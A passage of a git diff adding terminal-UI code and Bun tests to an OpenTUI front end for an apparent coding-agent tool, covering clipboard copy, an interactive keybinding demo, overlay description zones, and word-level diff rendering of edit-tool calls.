CopyTarget[] = [] + for (let i = 0; i < log.length; i++) { + const row = log[i] + if (!row || row.role === "system") continue + const payload = formatCopyText(row) + targets.push({ + id: `row-${i}`, + label: copyRowLabel(row), + preview: oneLine(payload.text), + text: payload.text, + }) + } + return targets +} + +/** Portable markdown for "copy everything" (stream rows, not Ink ContentBlock). */ +export function streamLogMarkdown(targets: readonly CopyTarget[]): string { + return targets.map((t) => `## ${t.label}\n\n${t.text}`).join("\n\n") +} + +/** + * Copy the active (or last) stream row via the clipboard port. + * Returns the payload, or null when there is nothing to copy. + */ +export function copyStreamRow( + row: StreamRow | undefined | null, + port: ClipboardPort, +): CopyPayload | null { + if (!row) return null + const payload = formatCopyText(row) + void port.writeText(payload.text) + return payload +} + +/** Pick the row to copy: explicit index, else last non-system, else last. */ +export function pickCopyRow( + log: readonly StreamRow[], + activeIndex?: number, +): StreamRow | null { + if (log.length === 0) return null + if (activeIndex !== undefined) { + const i = Math.max(0, Math.min(log.length - 1, Math.floor(activeIndex))) + return log[i] ?? null + } + for (let i = log.length - 1; i >= 0; i--) { + const row = log[i] + if (row && row.role !== "system") return row + } + return log[log.length - 1] ?? null +} diff --git a/src/tui-opentui/copy-wire.test.ts b/src/tui-opentui/copy-wire.test.ts new file mode 100644 index 000000000..9df224b42 --- /dev/null +++ b/src/tui-opentui/copy-wire.test.ts @@ -0,0 +1,74 @@ +import { afterAll, beforeAll, describe, expect, test } from "bun:test" +import { createHarness, type Harness } from "./harness" +import { + appendStreamRow, + confirmCopySelection, + copyAllTargets, + createAppShell, + enterCopyMode, + toggleMouseCapture, +} from "./shell" +import { createRecordingClipboard } from "./copy-path" + +// One renderer for the whole file: harness renderers are a scarce native +// resource and the suite exhausts them when every test claims its own. +let harness: Harness + +beforeAll(async () => { + harness = await createHarness({ width: 100, height: 30 }) +}) + +afterAll(() => { + harness.destroy() +}) + +describe("Alt+C reaches the injected clipboard", () => { + test("confirming a copy target writes its text", () => { + const clipboard = createRecordingClipboard() + const shell = createAppShell(harness.renderer, { clipboard }) + appendStreamRow(shell, { role: "assistant", text: "copy me" }) + expect(enterCopyMode(shell)).toBe(true) + expect(confirmCopySelection(shell)).toBe(true) + expect(clipboard.writes).toEqual(["copy me"]) + shell.dispose() + }) + + test("copy all writes every non-system row", () => { + const clipboard = createRecordingClipboard() + const shell = createAppShell(harness.renderer, { clipboard }) + appendStreamRow(shell, { role: "user", text: "one" }) + appendStreamRow(shell, { role: "assistant", text: "two" }) + enterCopyMode(shell) + expect(copyAllTargets(shell)).toBe(true) + expect(clipboard.writes).toHaveLength(1) + expect(clipboard.writes[0]).toContain("one") + expect(clipboard.writes[0]).toContain("two") + shell.dispose() + }) +}) + +describe("Alt+M mouse capture", () => { + test("toggles the host port and reports the new state", () => { + let enabled = false + const shell = createAppShell(harness.renderer, { + mouseCapture: { + get: () => enabled, + set: (v) => { + enabled = v + }, + }, + }) + expect(toggleMouseCapture(shell)).toBe(true) + expect(enabled).toBe(true) + expect(toggleMouseCapture(shell)).toBe(false) + expect(enabled).toBe(false) + shell.dispose() + }) + + test("reports unavailable when the host exposes no control", () => { + const shell = createAppShell(harness.renderer) + expect(toggleMouseCapture(shell)).toBeNull() + expect(shell.statusFlash).toContain("not controllable") + shell.dispose() + }) +}) diff --git a/src/tui-opentui/demo.ts b/src/tui-opentui/demo.ts new file mode 100644 index 000000000..4b4ccc947 --- /dev/null +++ b/src/tui-opentui/demo.ts @@ -0,0 +1,296 @@ +/** + * Interactive OpenTUI product-skin demo (real TTY only). + * Run: bun src/tui-opentui/demo.ts + * + * Wave 7: residual surfaces + observe on shared kit. + * Not production CLI. Ink remains production. + * + * Keys: + * Enter=queue · Alt+Enter=steer · Ctrl+C=stop + * Ctrl+O=palette · Alt+C=copy + * p=permissions · o=operator · m=model + * s=settings · h=help · l=plugins · e=resume · n=mentions · v=observe + * g/t/a=toggle goal/task/agents chrome + * f=replay fixture · r=busy · q=quit when idle + */ +import { createCliRenderer, type KeyEvent } from "@opentui/core" + +import { + FIXTURE_BUSY_SESSION, + attachSessionBridge, + createRecordingPort, +} from "./runtime-bridge.js" +import { makeObserveFixture } from "./residuals.js" +import { + openModelPickerOverlay, + openOperatorOverlay, + openPermissionsOverlay, +} from "./overlays.js" +import { formatChromeZones } from "./chrome-state.js" +import { + appendStreamRow, + createAppShell, + enterSubagentObserve, + openHelpOverlay, + openMentionsOverlay, + openPluginsOverlay, + openResumeOverlay, + openSettingsOverlay, + paintChrome, + setChromeZones, + setShellRunState, +} from "./shell.js" + +if (!process.stdout.isTTY) { + console.error("demo requires a TTY (stdout is not a terminal)") + process.exit(1) +} + +const renderer = await createCliRenderer({ + exitOnCtrlC: false, + targetFps: 30, +}) + +const shell = createAppShell(renderer, { + title: "corbits", + run: "idle", +}) + +const port = createRecordingPort() +const bridge = attachSessionBridge(shell, port) + +appendStreamRow(shell, { + role: "system", + text: "Wave 7 — residuals + observe (s/h/l/e/n/v · Ctrl+O palette)", +}) +appendStreamRow(shell, { + role: "system", + text: "p/o/m overlays · g/t/a chrome · f=fixture · r=busy · q=quit", +}) + +bridge.play(FIXTURE_BUSY_SESSION) + +const stickyPoll = setInterval(() => { + paintChrome(shell) +}, 120) + +function quit(): void { + clearInterval(stickyPoll) + bridge.dispose() + setTimeout(() => { + shell.dispose() + renderer.destroy() + process.exit(0) + }, 40) +} + +renderer.keyInput.on("keypress", (key: KeyEvent) => { + if (shell.overlayList || shell.observe) return + + if ( + key.name === "q" && + !key.ctrl && + !key.meta && + shell.session.run === "idle" && + shell.prompt.value.length === 0 + ) { + appendStreamRow(shell, { role: "system", text: "quit" }) + quit() + return + } + + if ( + key.name === "f" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + appendStreamRow(shell, { + role: "system", + text: "— replaying FIXTURE_BUSY_SESSION —", + }) + bridge.play(FIXTURE_BUSY_SESSION) + return + } + + if ( + key.name === "r" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + setShellRunState(shell, "busy") + appendStreamRow(shell, { + role: "system", + text: "run → BUSY (queue/steer active)", + }) + return + } + + if ( + key.name === "p" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openPermissionsOverlay(shell) + return + } + + if ( + key.name === "o" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openOperatorOverlay(shell) + return + } + + if ( + key.name === "m" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openModelPickerOverlay(shell) + return + } + + if ( + key.name === "s" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openSettingsOverlay(shell) + return + } + + if ( + key.name === "h" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openHelpOverlay(shell) + return + } + + if ( + key.name === "l" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openPluginsOverlay(shell) + return + } + + if ( + key.name === "e" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openResumeOverlay(shell) + return + } + + if ( + key.name === "n" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + openMentionsOverlay(shell) + return + } + + if ( + key.name === "v" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + enterSubagentObserve(shell, makeObserveFixture()) + return + } + + if ( + key.name === "g" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + const on = shell.layout.heights.goal > 0 + setChromeZones(shell, { + goal: on + ? null + : formatChromeZones({ + goal: { + title: "Wave 7 residual surfaces + observe", + phase: "implementing", + status: "active", + }, + }).goal, + }) + return + } + + if ( + key.name === "t" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + const on = shell.layout.heights.task > 0 + setChromeZones(shell, { + task: on + ? null + : formatChromeZones({ task: "cutover readiness" }).task, + }) + return + } + + if ( + key.name === "a" && + !key.ctrl && + !key.meta && + shell.prompt.value.length === 0 + ) { + const on = shell.layout.heights.agents > 0 + // Empty list → null (hide). Demo forces a zero-live summary string when on. + setChromeZones(shell, { + agents: on + ? null + : formatChromeZones({ + agents: [], + }).agents ?? "agents: 0 live", + }) + return + } + + if ( + key.ctrl && + key.name === "c" && + shell.session.run === "idle" && + shell.pendingQueue === 0 && + shell.prompt.value.length === 0 + ) { + if (!shell.session.interruptFlash) { + appendStreamRow(shell, { + role: "system", + text: `quit (port calls: ${port.calls.length})`, + }) + quit() + } else { + shell.session = { ...shell.session, interruptFlash: false } + paintChrome(shell) + } + } +}) + +console.log( + "OpenTUI Wave 7 demo — residuals s/h/l/e/n · observe v · Ctrl+O palette · q quit", +) diff --git a/src/tui-opentui/description-zone.test.ts b/src/tui-opentui/description-zone.test.ts new file mode 100644 index 000000000..46434df67 --- /dev/null +++ b/src/tui-opentui/description-zone.test.ts @@ -0,0 +1,182 @@ +/** + * The shared description-zone kit: `describe` on `openListOverlay` reserves a + * fixed two-line zone under a rule, and `onCycle` claims Left/Right for + * overlays that opt in (settings inline cycling). + */ + +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness.js" +import { + appendStreamRow, + closeInsetOverlay, + createAppShell, + cycleOverlaySelection, + describeZoneLines, + moveOverlaySelection, + openListOverlay, + type AppShell, + type ItemDescription, +} from "./shell.js" +import { UI } from "./theme.js" + +async function withShell( + fn: (shell: AppShell) => Promise | void, + size: { readonly width: number; readonly height: number } = { width: 100, height: 24 }, +): Promise { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: size.width, rows: size.height }, + wireKeys: false, + }) + appendStreamRow(shell, { role: "assistant", text: "session underway" }) + await fn(shell) + }, size) +} + +describe("description zone", () => { + test("charges rows only when describe is supplied", async () => { + // Tall terminal so the geometry resolver's overlay cap never kicks in — + // this test is about the zone's own row cost, not the resolver's floor. + await withShell( + (shell) => { + openListOverlay(shell, { kind: "demo", items: ["a", "b"] }) + const withoutZone = shell.layout.heights.overlay_host + closeInsetOverlay(shell) + + openListOverlay(shell, { + kind: "demo", + items: ["a", "b"], + describe: () => ({ what: "an item" }), + }) + const withZone = shell.layout.heights.overlay_host + + expect(withZone).toBe(withoutZone + 3) + }, + { width: 100, height: 60 }, + ) + }) + + test("stays a fixed height as the cursor moves across items with different copy", async () => { + await withShell((shell) => { + const descriptions: Record = { + short: { what: "short" }, + long: { + what: "a much longer description that will need to wrap across more than one physical line of terminal width", + impact: "and an impact line that is also long enough to wrap on its own", + }, + } + openListOverlay(shell, { + kind: "demo", + items: ["short", "long"], + itemIds: ["short", "long"], + describe: (id) => descriptions[id] ?? null, + }) + const hostHeight = shell.layout.heights.overlay_host + + moveOverlaySelection(shell, 1) + expect(shell.layout.heights.overlay_host).toBe(hostHeight) + + moveOverlaySelection(shell, -1) + expect(shell.layout.heights.overlay_host).toBe(hostHeight) + }) + }) + + test("null description renders a blank zone, not a collapsed one", async () => { + await withShell((shell) => { + openListOverlay(shell, { kind: "demo", items: ["a"], describe: () => null }) + const zoned = shell.layout.heights.overlay_host + closeInsetOverlay(shell) + + openListOverlay(shell, { + kind: "demo", + items: ["a"], + describe: () => ({ what: "present" }), + }) + expect(shell.layout.heights.overlay_host).toBe(zoned) + }) + }) +}) + +describe("describeZoneLines", () => { + test("fills the two-line budget with what, then impact", () => { + const { lines, fgs } = describeZoneLines( + { what: "compaction trims the transcript.", impact: "summarize costs a model call." }, + 60, + ) + expect(lines).toHaveLength(2) + expect(lines[0]).toContain("compaction trims the transcript.") + expect(lines[1]).toContain("summarize costs a model call.") + expect(fgs[0]).toBe(UI.textDim) + expect(fgs[1]).toBe(UI.textFaint) + }) + + test("consequence tone paints the impact line in UI.action", () => { + const { fgs } = describeZoneLines( + { what: "sub-agent cap.", impact: "raising it spends more tokens.", tone: "consequence" }, + 60, + ) + expect(fgs[1]).toBe(UI.action) + }) + + test("a what that wraps to both lines drops impact, same as narrow width would", () => { + const { lines } = describeZoneLines( + { + what: "a description long enough that wrapping it at this width already spends both of the zone's two lines", + impact: "never shown", + }, + 24, + ) + expect(lines.join(" ")).not.toContain("never shown") + }) + + test("degrades at 48 columns by dropping impact, keeping what", () => { + const desc: ItemDescription = { + what: "short", + impact: "dropped at narrow widths", + } + const wide = describeZoneLines(desc, 48) + expect(wide.lines.some((l) => l.includes("short"))).toBe(true) + + const narrow = describeZoneLines(desc, 20) + expect(narrow.lines.some((l) => l.includes("short"))).toBe(true) + expect(narrow.lines.some((l) => l.includes("dropped"))).toBe(false) + }) + + test("drops the whole zone's content below the minimum legible width", () => { + const { lines } = describeZoneLines({ what: "anything" }, 8) + expect(lines.every((l) => l.length === 0)).toBe(true) + }) + + test("null description renders two blank lines", () => { + const { lines } = describeZoneLines(null, 60) + expect(lines).toEqual(["", ""]) + }) +}) + +describe("onCycle scoping", () => { + test("Left/Right cycle only when the open overlay supplied onCycle", async () => { + await withShell((shell) => { + const calls: Array<{ id: string; dir: -1 | 1 }> = [] + openListOverlay(shell, { + kind: "demo", + items: ["a", "b"], + itemIds: ["a", "b"], + onCycle: (id, dir) => calls.push({ id, dir }), + }) + expect(cycleOverlaySelection(shell, 1)).toBe(true) + expect(calls).toEqual([{ id: "a", dir: 1 }]) + }) + }) + + test("arrow (j/k) navigation is unaffected in an overlay without onCycle", async () => { + await withShell((shell) => { + openListOverlay(shell, { kind: "demo", items: ["a", "b", "c"] }) + expect(shell.overlayList?.activeIndex).toBe(0) + moveOverlaySelection(shell, 1) + expect(shell.overlayList?.activeIndex).toBe(1) + expect(cycleOverlaySelection(shell, 1)).toBe(false) + expect(shell.overlayList?.activeIndex).toBe(1) + }) + }) +}) diff --git a/src/tui-opentui/diff-rows.test.ts b/src/tui-opentui/diff-rows.test.ts new file mode 100644 index 000000000..ee8e72149 --- /dev/null +++ b/src/tui-opentui/diff-rows.test.ts @@ -0,0 +1,198 @@ +/** + * Transcript diff rendering — edit-tool rows must paint a coloured +/- diff, + * not the tool's raw JSON arguments. + */ + +import { describe, expect, test } from "bun:test" +import { rgbToHex, type CapturedSpan } from "@opentui/core" + +import { toolCallRow } from "./diff" +import { withTestRenderer, type Harness } from "./harness" +import { appendStreamRow, createAppShell } from "./shell" +import { DIFF_FG } from "./stream" +import { toolResultRow } from "./mcp-view" + +const WIDE = { width: 100, height: 30 } as const + +const shellOpts = { + terminal: { columns: 100, rows: 30 }, + wireKeys: false, +} as const + +const EDIT_ARGS = JSON.stringify({ + path: "src/x.ts", + old_string: "const total = sum(a, b)", + new_string: "const total = product(a, b)", +}) + +async function settle(h: Harness): Promise { + await h.renderOnce() + await h.renderOnce() +} + +/** Every painted span in the frame, flattened, with fg as a hex string. */ +function spansWithHex( + h: Harness, +): Array<{ text: string; fg: string; attributes: number }> { + const frame = h.captureSpans() + return frame.lines.flatMap((line: { spans: CapturedSpan[] }) => + line.spans.map((span) => ({ + text: span.text, + fg: rgbToHex(span.fg).toLowerCase().slice(0, 7), + attributes: span.attributes, + })), + ) +} + +describe("diff transcript rows", () => { + test("an edit_file call paints a +/- diff instead of raw JSON args", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow( + shell, + { ...toolCallRow({ name: "edit_file", arguments: EDIT_ARGS }), expanded: true }, + ) + + await settle(h) + const frame = h.captureCharFrame() + expect(frame).toContain("- const total = sum(a, b)") + expect(frame).toContain("+ const total = product(a, b)") + expect(frame).not.toContain("old_string") + // Summary rides the row's sentence head. + expect(frame).toContain("src/x.ts") + expect(frame).toContain("+1/-1") + }, WIDE) + }) + + test("added and removed lines take the diff palette tones", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow( + shell, + { ...toolCallRow({ name: "edit_file", arguments: EDIT_ARGS }), expanded: true }, + ) + + await settle(h) + const spans = spansWithHex(h) + const del = spans.find((s) => s.text.includes("-") && s.text.length <= 2) + const add = spans.find((s) => s.text.includes("+") && s.text.length <= 2) + expect(del?.fg).toBe(DIFF_FG.del) + expect(add?.fg).toBe(DIFF_FG.add) + }, WIDE) + }) + + test("word-level highlighting keeps shared tokens muted and bolds the delta", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow( + shell, + { ...toolCallRow({ name: "edit_file", arguments: EDIT_ARGS }), expanded: true }, + ) + + await settle(h) + const spans = spansWithHex(h) + const changedRemoved = spans.find((s) => s.text.includes("sum(a,")) + const changedAdded = spans.find((s) => s.text.includes("product(a,")) + const shared = spans.filter((s) => s.text.includes("const")) + + expect(changedRemoved?.fg).toBe(DIFF_FG.del) + expect(changedAdded?.fg).toBe(DIFF_FG.add) + // Bold attribute distinguishes the changed tokens inside the line. + expect(changedRemoved!.attributes).toBeGreaterThan(0) + // "const" is shared by both sides, so it stays in the context tone. + expect(shared.length).toBeGreaterThan(0) + expect(shared.every((s) => s.fg === DIFF_FG.context)).toBe(true) + }, WIDE) + }) + + test("a non-edit tool call paints its summary, not its argument JSON", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow( + shell, + toolCallRow({ name: "read_file", arguments: '{"path":"src/x.ts"}' }), + ) + + await settle(h) + const frame = h.captureCharFrame() + expect(frame).toContain("src/x.ts") + expect(frame).not.toContain('{"path"') + }, WIDE) + }) + + test("a write_file call paints the whole body as additions", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow( + shell, + { + ...toolCallRow({ + name: "write_file", + arguments: JSON.stringify({ + path: "new.ts", + content: "export const a = 1\nexport const b = 2", + }), + }), + expanded: true, + }, + ) + + await settle(h) + const frame = h.captureCharFrame() + expect(frame).toContain("+ export const a = 1") + expect(frame).toContain("+ export const b = 2") + expect(frame).toContain("new.ts") + expect(frame).toContain("+2/-0") + }, WIDE) + }) + + test("a sentence-style call and its plain result paint as two legible rows, not one merged row", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + appendStreamRow( + shell, + toolCallRow({ name: "read_file", arguments: JSON.stringify({ path: "package.json" }) }), + ) + appendStreamRow(shell, toolResultRow({ name: "read_file", content: "30 lines" })) + + await settle(h) + const rows = h + .captureCharFrame() + .split("\n") + .filter((line) => line.trim().length > 0) + const callRow = rows.find((line) => line.includes("Read") && line.includes("package.json")) + const resultRow = rows.find((line) => line.includes("30 lines")) + expect(callRow).toBeDefined() + expect(resultRow).toBeDefined() + // Two distinct rows, not one row carrying both — a merged row would + // mean interleaved characters and neither string would appear intact. + expect(callRow).not.toBe(resultRow) + expect(callRow).toContain("package.json") + expect(resultRow).toContain("30 lines") + }, WIDE) + }) + + test("an edit_file call with an empty old_string (pure creation) still paints", async () => { + await withTestRenderer(async (h) => { + const shell = createAppShell(h.renderer, shellOpts) + const before = shell.streamLog.length + appendStreamRow(shell, { + ...toolCallRow({ + name: "edit_file", + arguments: JSON.stringify({ + path: "tmp/scratch.txt", + old_string: "", + new_string: "write path ok", + }), + }), + expanded: true, + }) + + await settle(h) + const frame = h.captureCharFrame() + expect(frame).toContain("scratch.txt") + expect(frame).toContain("+ write path ok") + expect(shell.streamLog.length).toBeGreaterThan(before) + }, WIDE) + }) +}) diff --git a/src/tui-opentui/diff.test.ts b/src/tui-opentui/diff.test.ts new file mode 100644 index 000000000..908e1bb1c --- /dev/null +++ b/src/tui-opentui/diff.test.ts @@ -0,0 +1,271 @@ +import { describe, expect, test } from "bun:test" + +import { + diffLines, + diffPlainText, + diffStat, + editDiffFromArgs, + editDiffView, + renderDiff, + toolCallRow, + type DiffLine, +} from "./diff.js" +import { DIFF_FG, isDiffRow, isMarkdownRow } from "./stream.js" + +const textOf = (line: DiffLine): string => + line.map((seg) => seg.text).join("") + +describe("diffLines", () => { + test("marks added, removed, and context lines", () => { + expect(diffLines("a\nb\nc", "a\nB\nc")).toEqual([ + { kind: "context", text: "a" }, + { kind: "del", text: "b" }, + { kind: "add", text: "B" }, + { kind: "context", text: "c" }, + ]) + }) + + test("treats an empty old side as a pure addition", () => { + expect(diffLines("", "x\ny")).toEqual([ + { kind: "add", text: "x" }, + { kind: "add", text: "y" }, + ]) + }) +}) + +describe("diffStat", () => { + test("counts additions and removals", () => { + expect(diffStat("a\nb", "a\nc\nd")).toEqual({ added: 2, removed: 1 }) + }) +}) + +describe("editDiffFromArgs", () => { + test("reads edit_file before/after from old_string and new_string", () => { + expect( + editDiffFromArgs( + "edit_file", + JSON.stringify({ path: "x.ts", old_string: "foo", new_string: "bar" }), + ), + ).toEqual({ oldText: "foo", newText: "bar", path: "x.ts" }) + }) + + test("treats write_file content as the new side against an empty old side", () => { + expect( + editDiffFromArgs( + "write_file", + JSON.stringify({ path: "x.ts", content: "line" }), + ), + ).toEqual({ oldText: "", newText: "line", path: "x.ts" }) + }) + + test("returns null for unrelated tools and bad JSON", () => { + expect(editDiffFromArgs("read_file", "{}")).toBeNull() + expect(editDiffFromArgs("edit_file", "not json")).toBeNull() + }) +}) + +describe("renderDiff", () => { + test("prefixes changed lines with + and - gutters", () => { + const text = renderDiff("old", "new", 40).map(textOf).join("\n") + expect(text).toContain("- old") + expect(text).toContain("+ new") + }) + + test("collapses unchanged runs when contextLines is set", () => { + const oldText = Array.from({ length: 20 }, (_, i) => `line ${i}`).join("\n") + const newText = oldText.replace("line 0", "CHANGED") + const text = renderDiff(oldText, newText, 40, { contextLines: 2 }) + .map(textOf) + .join("\n") + expect(text).toContain("unchanged line") + }) + + test("word-level LCS keeps shared tokens as context and paints only the delta", () => { + const lines = renderDiff( + "const foo = bar(x, y);", + "const foo = baz(x, y);", + 80, + ) + const delBody = lines[0]!.slice(2) + const addBody = lines[1]!.slice(2) + const delChanged = delBody + .filter((s) => s.fg === DIFF_FG.del) + .map((s) => s.text) + .join("") + const addChanged = addBody + .filter((s) => s.fg === DIFF_FG.add) + .map((s) => s.text) + .join("") + expect(delChanged).toContain("bar") + expect(addChanged).toContain("baz") + expect(delChanged).not.toContain("const") + expect(addChanged).not.toContain("const") + expect( + delBody.some((s) => s.text.includes("const") && s.fg === DIFF_FG.context), + ).toBe(true) + }) + + test("changed intra-line tokens are bold; shared tokens are not", () => { + const lines = renderDiff("a b c", "a x c", 40) + const delBody = lines[0]!.slice(2) + expect(delBody.find((s) => s.text === "b")?.bold).toBe(true) + expect(delBody.find((s) => s.text === "a")?.bold).toBeUndefined() + }) + + test("word-level LCS is not positional — reordered shared words stay context", () => { + const lines = renderDiff("a b c", "a x c", 40) + const changed = lines[0]! + .slice(2) + .filter((s) => s.fg === DIFF_FG.del) + .map((s) => s.text.trim()) + .filter(Boolean) + expect(changed).toEqual(["b"]) + }) + + test("unpaired adds and removals take the add/remove tone whole-line", () => { + const [removed] = renderDiff("old line", "", 40) + const [added] = renderDiff("", "new line", 40) + expect(removed!.slice(1).every((s) => s.fg === DIFF_FG.del)).toBe(true) + expect(added!.slice(1).every((s) => s.fg === DIFF_FG.add)).toBe(true) + }) + + test("context rows take the muted context tone", () => { + const lines = renderDiff("a\nb", "a\nB", 40) + expect(lines[0]!.every((s) => s.fg === DIFF_FG.context)).toBe(true) + }) + + test("line-number column always uses the muted context tone", () => { + const lines = renderDiff("a\nb", "a\nB", 40) + expect(lines.map((line) => line[0]!.fg)).toEqual([ + DIFF_FG.context, + DIFF_FG.context, + DIFF_FG.context, + ]) + }) + + test("wraps long bodies while keeping the gutter column aligned", () => { + const long = Array.from({ length: 30 }, (_, i) => `w${i}`).join(" ") + const lines = renderDiff("", long, 30, { lineNumbers: false }) + expect(lines.length).toBeGreaterThan(1) + expect(lines[0]![0]!.text).toBe("+ ") + // Continuation rows blank the sign column rather than repeating it. + expect(lines[1]![0]!.text).toBe(" ") + }) +}) + +describe("renderDiff line numbers", () => { + test("context rows carry both old and new line numbers", () => { + const lines = renderDiff("a\nb\nc", "a\nB\nc", 40) + expect(textOf(lines[0]!)).toContain("1 1") + expect(textOf(lines[1]!)).toContain("2 ") + expect(textOf(lines[2]!)).toContain(" 2") + expect(textOf(lines[3]!)).toContain("3 3") + }) + + test("del rows show only the old number, add rows show only the new number", () => { + const lines = renderDiff("old", "new", 40) + expect(lines[0]![0]!.text).toBe("1 ") + expect(lines[1]![0]!.text).toBe(" 1 ") + }) + + test("lineNumbers: false omits the number gutter entirely", () => { + const lines = renderDiff("old", "new", 40, { lineNumbers: false }) + expect(lines.map(textOf)).toEqual(["- old", "+ new"]) + }) + + test("line numbers stay right-aligned as the file grows past one digit", () => { + const oldText = Array.from({ length: 12 }, (_, i) => `line ${i}`).join("\n") + const newText = oldText.replace("line 0", "CHANGED") + const widths = new Set( + renderDiff(oldText, newText, 80).map((line) => line[0]!.text.length), + ) + expect(widths.size).toBe(1) + }) + + test("collapsed context marker carries no line number", () => { + const oldText = Array.from({ length: 20 }, (_, i) => `line ${i}`).join("\n") + const newText = oldText.replace("line 0", "CHANGED") + const lines = renderDiff(oldText, newText, 40, { contextLines: 2 }) + const marker = lines.find((line) => textOf(line).includes("unchanged line")) + expect(marker).toBeDefined() + expect(marker![0]!.text.trim()).toBe("") + }) +}) + +describe("editDiffView", () => { + const EDIT_ARGS = JSON.stringify({ + path: "src/x.ts", + old_string: "const a = 1", + new_string: "const a = 2", + }) + + test("builds a numberless diff with stats and path for edit_file", () => { + const view = editDiffView("edit_file", EDIT_ARGS) + expect(view).not.toBeNull() + expect(view!.added).toBe(1) + expect(view!.removed).toBe(1) + expect(view!.path).toBe("src/x.ts") + // Snippet-relative numbers would be misleading, so they are suppressed. + expect(view!.lines.map(textOf)).toEqual(["- const a = 1", "+ const a = 2"]) + }) + + test("returns null for non-edit tools and no-op edits", () => { + expect(editDiffView("read_file", "{}")).toBeNull() + expect( + editDiffView( + "edit_file", + JSON.stringify({ old_string: "same", new_string: "same" }), + ), + ).toBeNull() + }) + + test("caps a huge write_file body with a truncation marker", () => { + const content = Array.from({ length: 200 }, (_, i) => `line ${i}`).join("\n") + const view = editDiffView("write_file", JSON.stringify({ content })) + expect(view!.added).toBe(200) + expect(view!.lines.length).toBeLessThan(200) + expect(textOf(view!.lines.at(-1)!)).toContain("more diff lines") + }) +}) + +describe("toolCallRow", () => { + test("attaches a diff and a +/- summary for an edit call", () => { + const row = toolCallRow({ + name: "edit_file", + arguments: JSON.stringify({ + path: "src/x.ts", + old_string: "a", + new_string: "b", + }), + }) + expect(isDiffRow(row)).toBe(true) + expect(isMarkdownRow(row)).toBe(false) + expect(row.meta).toBe("edit_file src/x.ts +1/-1") + }) + + test("leaves non-edit calls as literal argument text", () => { + const row = toolCallRow({ name: "read_file", arguments: '{"path":"x"}' }) + expect(isDiffRow(row)).toBe(false) + expect(row.text).toBe('{"path":"x"}') + expect(row.meta).toBe("read_file") + }) + + test("falls back to a placeholder when arguments are absent", () => { + expect(toolCallRow({ name: "shell" }).text).toBe("…") + }) + + test("partial streamed arguments do not throw", () => { + const row = toolCallRow({ name: "edit_file", arguments: '{"path":"x' }) + expect(isDiffRow(row)).toBe(false) + }) +}) + +describe("diffPlainText", () => { + test("joins segment text back into a copyable body", () => { + const view = editDiffView( + "edit_file", + JSON.stringify({ old_string: "a", new_string: "b" }), + ) + expect(diffPlainText(view!)).toBe("- a\n+ b") + }) +}) diff --git a/src/tui-opentui/diff.ts b/src/tui-opentui/diff.ts new file mode 100644 index 000000000..241b0522d --- /dev/null +++ b/src/tui-opentui/diff.ts @@ -0,0 +1,506 @@ +/** + * Edit-tool diff rendering for the OpenTUI transcript. + * + * File edits are the most common tool call in a coding turn, and their tool + * result is only a confirmation string ("replaced 1 occurrence(s) in x.ts") — + * the before/after text lives solely in the call's JSON arguments. So the diff + * is derived from the arguments and carried on the tool row. + * + * Output is a plain segment model (text + palette colour) rather than the Ink + * `StyledLine` shape: the OpenTUI row factory paints with `TextChunk`s, and a + * neutral model keeps this module pure and headlessly testable without a + * renderer. `shell.ts` maps segments to chunks at paint time. + */ + +import { describeToolCall } from "../tui/tool-formatter.js" +// The one wrap implementation: a diff row soft-wraps by the same column rules +// as every other row, so a wide glyph cannot overflow the gutter here alone. +import { wrapRanges } from "../tui/view/height.js" +import { DIFF_FG, type StreamRow } from "./stream.js" +import { toolArgsView } from "./tool-args.js" + +export type DiffRowKind = "add" | "del" | "context" +export type DiffRow = { readonly kind: DiffRowKind; readonly text: string } + +/** One painted span of a diff line. */ +export type DiffSegment = { + readonly text: string + readonly fg: string + /** Set on intra-line changed tokens so the delta reads without a colour wash. */ + readonly bold?: boolean +} + +export type DiffLine = readonly DiffSegment[] + +/** A rendered diff plus its summary counts, carried on a StreamRow. */ +export type DiffView = { + readonly lines: readonly DiffLine[] + readonly added: number + readonly removed: number + readonly path?: string +} + +// A row plus its position in the old/new file. `collapsed` marks the "N +// unchanged lines" summary row inserted by collapseContext, which occupies no +// real line in either file and so carries no line numbers. +type NumberedRow = DiffRow & { + oldNum?: number + newNum?: number + collapsed?: boolean +} + +function lcsTable(a: readonly string[], b: readonly string[]): number[][] { + const n = a.length + const m = b.length + const table: number[][] = Array.from({ length: n + 1 }, () => + new Array(m + 1).fill(0), + ) + for (let i = n - 1; i >= 0; i--) { + for (let j = m - 1; j >= 0; j--) { + table[i]![j] = + a[i] === b[j] + ? table[i + 1]![j + 1]! + 1 + : Math.max(table[i + 1]![j]!, table[i]![j + 1]!) + } + } + return table +} + +/** + * Longest-common-subsequence line diff. The classic dynamic-programming table + * is fine here: edit hunks (old_string vs new_string) are small, and even a + * whole-file write diffs against an empty side, so the quadratic cost never + * bites in practice. + */ +export function diffLines(oldText: string, newText: string): DiffRow[] { + const a = oldText.length === 0 ? [] : oldText.split("\n") + const b = newText.length === 0 ? [] : newText.split("\n") + const n = a.length + const m = b.length + const lcs = lcsTable(a, b) + + const 